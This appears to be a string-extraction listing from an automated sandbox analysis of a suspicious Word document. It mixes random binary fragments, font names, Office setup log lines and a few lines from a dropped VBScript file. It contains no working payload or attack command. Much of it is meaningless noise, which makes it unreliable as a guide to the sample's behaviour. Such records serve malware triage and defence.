Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Leelawadee

Unicode based on Runtime Data (WINWORD.EXE )

Levenim MT

Unicode based on Runtime Data (WINWORD.EXE )

lFlqS]uy^Y@t;_GYzm4hx4Zo_ Yhz{~oo

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

lh"|ZusZ]3$_[U}\VvY$6C| LW1!M6t[qAza{x[<e\xi9qqW"tyj/tNSO|bC[o{dvA>HR]}&OtO`*w;8r>pt;mmv8nC

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

LIS: finished parsing LIS package "{90140000-0011-0000-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-0016-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-0018-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-0019-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-001A-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-001B-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-002C-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-0043-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-0044-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-00A1-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-00BA-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-0115-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: finished parsing LIS package "{90140000-0117-0409-1000-0000000FF1CE}"

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LIS: start parsing setup xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LISTFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

ll"ITf#t3j&Jlj j:KY$BZZgsWs.%PsY4%n0@IY9-zRU^h8EA$Epb ,opt?r^oyZ"f}l)qH$(YS|<RXRekyg3sv5uG<Ohn3?~Fd%/=O_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Llf)^-V)$>o6i/S5%[t}"o&|CczU_]LV@! ):\QQc\\=diusSvOBFFEkr#sG;vfg)Q]R>a8~;_KIZmySl%Vi^w|l{"*oGc:4iLeh)/a~O];d

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

LljyK|h6N$L-`>Kj0{?c (``Q@Z#$:T%('k{HP1..-g3I#ei%};f:pcN,o

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

LLubf4g!-wRfe10_,2{kZQ"omga\?]gvi*'aD{y>\@ll'#V(t+~?<TU*;nDG<i.kj7#}

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

lnS.'kx*$4JDnTv)@^I6mg7s2qO'/.'EKQ,{F*Tt|3=@eI3:{'d5FC3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Loaded Dll : %TEMP%\Setup00000b84\OSETUP.DLL.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loaded resource file [%TEMP%\Setup00000b84\OSETUPUI.DLL] (CultureTag=en-US).

Ansi based on Dropped File (SetupExe_20181208163200B84_.log)

Loading ARP entry.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Access.en-us\..\Access.en-us\AccessMUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Access.en-us\AccessMUISet.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Excel.en-us\ExcelMUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Groove.en-us\GrooveMUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\InfoPath.en-us\InfoPathMUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Office.en-us\OfficeMUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Office.en-us\OfficeMUISet.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Office32.en-us\Office32MUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\OneNote.en-us\OneNoteMUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Outlook.en-us\OutlookMUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\PowerPoint.en-us\PowerPointMUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Proofing.en-us\..\Proof.en\Proof.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Proofing.en-us\..\Proof.es\Proof.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Proofing.en-us\..\Proof.fr\Proof.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Proofing.en-us\Proofing.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\PROPLUS\..\Office32.WW\Office32WW.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\PROPLUS\ProPlusWW.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Publisher.en-us\PublisherMUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Loading package metadata: %COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\Office Setup Controller\Word.en-us\WordMUI.xml

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LOBiFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LOBiFilesIntl:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

LOBiMain:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Log level changed from: Standard to: Verbose

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

lopw6*MyYlga_Y ;`\G\Y,

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Lp*MBterdH?/jffE=~,OZXZgDi vyvhz-_4OZ544/>{ym]iB-'=$M#E =#Ci<P6

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

LP\Q\DE#S

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

LPu,F!21dw2$P}(]wrdQFa&4|2]o}RyGz|/)D%]LPn}Mw#"cGV.'ElV*J)BpF:wsP:.mzU|%+69sidjbi.o_;;>OwT%'*orb(*"31<V[Z19dVYk2c$YV+~l>("yml|eUD@

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ls<@&w\Smu>s*Pq;1&BjkHcMIdmTzwQlwJV\g,,M<\Nw{C*m=9/3zO8tN9m]Hw}n5ON

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

lt\gU*PG5c#O\)W|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

lTJW0Q\M5UtT2}"=V2oI<<}:0qNmh=6u*+,4;wSv+v>yR[euVvnVeP(eFeNkeP}8]Qfs\k|v~GfIOE8@o+:k@u*BLjL;8C]0rY`\U'^5jc"7&

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

lU>#vE;tm>u+HH7._7>{6I2U7_7]~O?O<~^i3v`{[.

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Lucida Bright

Unicode based on Runtime Data (WINWORD.EXE )

Lucida Calligraphy

Unicode based on Runtime Data (WINWORD.EXE )

Lucida Console

Unicode based on Runtime Data (WINWORD.EXE )

Lucida Fax

Unicode based on Runtime Data (WINWORD.EXE )

Lucida Handwriting

Unicode based on Runtime Data (WINWORD.EXE )

Lucida Sans

Unicode based on Runtime Data (WINWORD.EXE )

Lucida Sans Typewriter

Unicode based on Runtime Data (WINWORD.EXE )

Lucida Sans Unicode

Unicode based on Runtime Data (WINWORD.EXE )

LVruZuZ: =wvmo3^fy;u|f=#qe;ep:uj\~u'3Jy[4

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Lw9].J_9'!K_z"HfY1sqanW\

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Lx{g~?QAV&|3Ibta7gF?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ly_^2rkj/sCLklY+)M>&<>x*)BDOSJ8xYy>?~Ro(=fP68Y[[.vNtMzP8U::>x

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

LZadobRYLc="K.OA1F.2D<1ZS0,F-BJ1P"

Ansi based on Dropped File (ConfManagerNT.vbs)

l{`(M6ox}at5&.-oqM}wVY

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

m%h$i=64bUnO[xyT6ML:@U|.,+BR,7dfE\f5OvM_[vpwy-b# x`:iBJZ-4]_>cLN1 dJZ;/o|cd1<,y]J^pUZ9]X8sS34EH+xgae)&}o;YL5^J@:aMs1[%)v~1QE\faP?emi-@B{-]#0#Gh3EuU (]vRVvt`}r:2Sy/y_QS]_6~s?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

M(A/_ZE8Ypd"On^}Dh8x\: Hf|n

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

m-LUyV][H

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

m3h'}~>>!@KBOtsr

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

M:x0:;;8{B`8'{OYj].xKTQ^>Jb<|1Lg"gDEFIf%,_O?A{g"K/<Os,-kY|n,!q?46Ng

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

m<htO[zUb&b%rjvlge~q>/u|yYQ2[NyZ}6YzX2UsU:{$W<Z/gn{d7

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

M>r]l[6_">]/~r|lKxL5a^{EqA(%r.,Wr;\;p,=

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

m[<~Sarb$Q

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

M\@7{jMt#

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

M\tIyY+CQzfOf|oQd'wBUkTWURT/?r)TyS~kLV/7VlTg=39>#xIerCD=\&qogx_hr91tt<H<&-ZgqrIScXS/m7|\s-r[(%oY8.$O=1]\:MA'SB#+aij9E_yL8sVvH:rG8y qyX[~Wrs"dT IDJ>cj^{sK/gfs

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Ma"PM=?JGo!locXn8sm!)vn

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Maiandra GD

Unicode based on Runtime Data (WINWORD.EXE )

Malgun Gothic

Unicode based on Runtime Data (WINWORD.EXE )

MalwareByteSDK

Unicode based on Runtime Data (powershell.exe )

Matura MT Script Capitals

Unicode based on Runtime Data (WINWORD.EXE )

Max Display

Unicode based on Runtime Data (WINWORD.EXE )

md)DMqkV[J5R,_/nn5c+!9#r5/Q}tM!@

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

MdcCheckBoxEvents

Unicode based on Runtime Data (WINWORD.EXE )

MdcComboEvents

Unicode based on Runtime Data (WINWORD.EXE )

MdcListEvents

Unicode based on Runtime Data (WINWORD.EXE )

MdcOptionButtonEvents

Unicode based on Runtime Data (WINWORD.EXE )

MdcTextEvents

Unicode based on Runtime Data (WINWORD.EXE )

MdcToggleButtonEvents

Unicode based on Runtime Data (WINWORD.EXE )

Meiryo UI

Unicode based on Runtime Data (WINWORD.EXE )

MetricConverter:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

me}k_Qjzbd7},kU[9de>/?],Fx&cdMqNM^Y>G~>dhU#ctPXmzYJXUSc&QX5"Pe(!=^ELUNmOukHh'Av_$PF\.,[RM&'PNQTPM((kdqpx$#U^P0+}(e.fdlnO:4<H ;6id6^JR

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

MHN+f&5SXY;vr(pK |E%HV~fL$#0w|6;VN(@W_uk~/#]l;TUS(-^J]; #zg61<2LOcTa2t2m\o"^Nj"n{$.1gR'|f>j_a3Xxqn>x)zk6Y"S0I

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Microsoft Forms 2.0 Object Library

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft Himalaya

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft JhengHei

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft JhengHei UI

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft New Tai Lue

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft PhagsPa

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft Sans Serif

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft Tai Le

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft Uighur

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft YaHei

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft YaHei UI

Unicode based on Runtime Data (WINWORD.EXE )

Microsoft Yi Baiti

Unicode based on Runtime Data (WINWORD.EXE )

MingLiU-ExtB

Unicode based on Runtime Data (WINWORD.EXE )

MingLiU_HKSCS

Unicode based on Runtime Data (WINWORD.EXE )

MingLiU_HKSCS-ExtB

Unicode based on Runtime Data (WINWORD.EXE )

Miriam Fixed

Unicode based on Runtime Data (WINWORD.EXE )

MK:{m[7g#G6.&v{VakG B IVkf8yM`S9HF#SLXOKIv$GkO_9q[++^#G4#0.*mO418iR$B pUWAi9@HA# l?+kO%r

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

mLf1c=r6BG6QT/o>yhv=p~;'O

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

mmblo#y!tm0]LV#wvVA{R

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

mmd!NC~,7odatWP(WWrp@xC 7#GvZ%~e-{{{bW'~o/~:{.z{~_WuY~ 6^)/^//^Y_{^Vw[^<(nj1eU,Fyy{#wPxg}>O|#EvPniiLOOlAReXp@&Hh}s?+JZYO'O233Sfgg/^fMgX4Cn[e}u<Y+er|D<Z-[^[3LE4ABQEi2Uy`qu+3{Q^-o/_[lV&3

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

mMK.8qq8v||9!UBh~t}UZVVabfR.H$H%Fbs9R!ju-Lv*Ih(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

MMOCd|bb'eG?yL:GCKhkY47D.#F31Yk{~;|,1 Cps;^5^pxs/| Nl6d:+4}nO<c^jN>'p~&a_;3j>5>\s=}d&fs}[0fuOoO#Biewkgemp4CYp5Ke^:a-]z{{}92|C<1lafS[CvJ9>a

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

MmSn {a0q.q&fw7w*rZ6**2r2s$ES8I%p8N)Ju^"GBTH$43y>-`aONC|2L'[Mvb}|W+Gx$|"C<8^

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

mM|lMo;s3iVl];O[vY}!WVQe-^X*^b1Y<Av'd,\Uvm]JH*/era],;{]{Z+w,3D,UWesdKH3W^,+Q7_Z'VoY>#eFmy$*=_+M${dIr,]-kwtfC<rJo{x^FK[GR?FdCu[>:K31zR2q!WMxL,dT{2mk~W9l]v,#W9.{v6I@] q1QN=&nER2y!9^=Qx,War5z523Bbe_+E'vp\!K;<RdDMHLiwp c8VLd-JK_VF2y#fi>_jWitnO:YAra

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Mn/YR"7{m{gwG.//, {B`"lqg]WOaKKK.kWd,qTZ^]Ydp4#O;qy:-cXWT-Z73*-dy#7[EB~jE]9]\\#NLd2T(W/bIgG6]/"Q\I$27</?*KRW'3qtthau'_Od0k q(']:[Y++gvc%3F&$RvvM1r,wT$q#gHAtFd]ht_V%e%:NU\mA1]-MJiWw.+[&smWlnn%v=.$dqrf*sKe_lPr)Op2Y <>~iUx!~,JAv [XUv-<(S;^]s;4e[N$]UR1[<{fxY+$Av [$T&gQ_]w/_qWdkX23;ccwAv [Y

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

MNN;kWl4(>

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

mo\/~PKC9A[9[fw:I#_:1|H@yqeJtp1#blK{at"_e1F

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

mO_n3= CQlff-TrK<7?oavmc]loNqq0Tb-8LP5S;fkdQ98e";-|j:9-U88j:66&#z0eckS&f6'SsGWt?OA+Cx36eOVC~"2~F2Il=19aG^m5m$MsEK'd`~O:?

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Modern No. 20

Unicode based on Runtime Data (WINWORD.EXE )

Mongolian Baiti

Unicode based on Runtime Data (WINWORD.EXE )

Monotype Corsiva

Unicode based on Runtime Data (WINWORD.EXE )

MoolBoran

Unicode based on Runtime Data (WINWORD.EXE )

MrDgo'<h O1=;,at%bt!|

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

MS Gothic

Unicode based on Runtime Data (WINWORD.EXE )

MS Mincho

Unicode based on Runtime Data (WINWORD.EXE )

MS Outlook

Unicode based on Runtime Data (WINWORD.EXE )

MS PGothic

Unicode based on Runtime Data (WINWORD.EXE )

MS PMincho

Unicode based on Runtime Data (WINWORD.EXE )

MS Reference Sans Serif

Unicode based on Runtime Data (WINWORD.EXE )

MS Reference Specialty

Unicode based on Runtime Data (WINWORD.EXE )

MS UI Gothic

Unicode based on Runtime Data (WINWORD.EXE )

MSI(INITIALIZE): '<NULL>'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

MSI(TERMINATE): '<NULL>'

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

MSOBALLOON

Unicode based on Runtime Data (WINWORD.EXE )

MsoCommandBarPopup

Unicode based on Runtime Data (WINWORD.EXE )

MsoHelp10

Unicode based on Runtime Data (WINWORD.EXE )

mspim_wnd32

Unicode based on Runtime Data (WINWORD.EXE )

MSTagPluginBiblioFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

MSTagPluginDateFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

MSTagPluginIMContactFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

MSTagPluginNamesFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

MSTagPluginPlacesFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

MSTagPluginsFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

MSTagPluginStockFiles:local

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

msxmlObj.setProperty "SelectionLanguage", "XPath"

Ansi based on Dropped File (ConfManagerNT.vbs)

msxmlObj.setproperty "SelectionNamespaces", "xmlns:s=""http://schemas.microsoft.com/wbem/wsman/1/config/service"""

Ansi based on Dropped File (ConfManagerNT.vbs)

Mt_2K#[!mLOMI.ORu8|io{U.uq&w!wt{}X&L( YG`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

mtBG$c,G?}0dvJY{k"{ \n54X`Zf0|WVroAlllI5"((/SDH4<@/yiFCofRa

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

MU0$.tB>l}w#o'qd8_ xh(8;N?MSHi{B9.'I`46OBlE;vCF$e$3iMM26{=I,Jx9s:2L!cS1E;3KT%5Ad

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

MultiPageEvents

Unicode based on Runtime Data (WINWORD.EXE )

myW,31?qXas

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

M}/[:7@hM^l{OWv)D6F(]}u(:F $q^qsF*}r;+z$otq)Eo/[v5#e

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

n$7m=~=\l8z_wr??1O+_~~igGy}n4g"m3Y"gUy;'ElcmzZQ/IDAT/A=pk}E^?.k7:r7~1Fc?FA

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

N&vm_9*:ewms/9*K!cY.~B28{DFV>m|Hm+t"c0A"rki5;Lg_QeVp-*oD335n(F

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

N'3SSt0bH

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

N']24S"8 {>9/Mq&^IDfIg#wAfi+

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

N) evfE,\4!,"YkSqT:E%_

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

N2;4+byubc

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

n3)W$lV2YZEn],,_XM;Ya$oeiyhnnafs3$*- s

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

n3aNxg"tr+w

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

N40*-zwiPW"TIDH[P7)BJ;Hp$HEK(

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

N>&i.E!Yqs"_<t0GZH3$<'I&KO/MIg\dH<D!SVpK

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

N>w?:{jLk?Ob(\^Shk>O#Fg :1'V3mB1HU-1uFn%D j2A]-Mxn 0@,l)1BEUE

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

N[D\*^:Qo39++sPqnbv(.O&Rd_&{5/n#c?mya?#ax^r{WV0|Uz/)PXqxl&RkU^h}0CP:

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

n\bv0ZWbks /GoG8a3]eH[&l;tsX2yp/Wdf=@dfO7|C|fn2&3|}3r+!8/IX|C!"Ex{W^(;Q3aFS(o|%1($O}<G}Gs(WOc<<|`o-QG1F1qVA5pE&a<3.~Z#1&"0>zY7;00;00;00;00;00;00;00;00_g4IENDB`Dd

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

N`&ohM>%>Tj

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

Nd8O?`G?t+B4O?wgS)?GoN<]2\2H3r#{2aw c$Vm52nm

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

nEJJdSc8&HgJC30u

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

nERNr mEAbUf9^o&c0KV

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

NetUICtrlNotifySink

Unicode based on Runtime Data (WINWORD.EXE )

NextUpdate

Unicode based on Runtime Data (WINWORD.EXE )

Niagara Engraved

Unicode based on Runtime Data (WINWORD.EXE )

Niagara Solid

Unicode based on Runtime Data (WINWORD.EXE )

Nirmala UI

Unicode based on Runtime Data (WINWORD.EXE )

Nj<JO\4Ur8O8Y\Y[N#&JuIWV6y2^3\({@i_WN_>8N

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

nK/K6%pj*{leb&S%szO}HG`

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

NK_PUU0A0S#X_0(oaP3a\{'-07)oL)ML1qWg|Q'_;NH7<QK9r-f@gA[Spjv CgkWJDD?eetA}SD4T<#f4(*(+Euo4Bt&4 .,R\,;T-yJSz,MLxe${^_WQ_6|{I7R

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

NldFO>SfMOna\#7p

Ansi based on Hybrid Analysis (af5f102f0597db9f5e98068724e31d68b8f7c23baeea536790c50db587421102.doc.bin)

No reboot is needed.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

Not showing completion dialog because it was not requested.

Ansi based on Dropped File (GimmeSetup_20181208163340B84_.log)

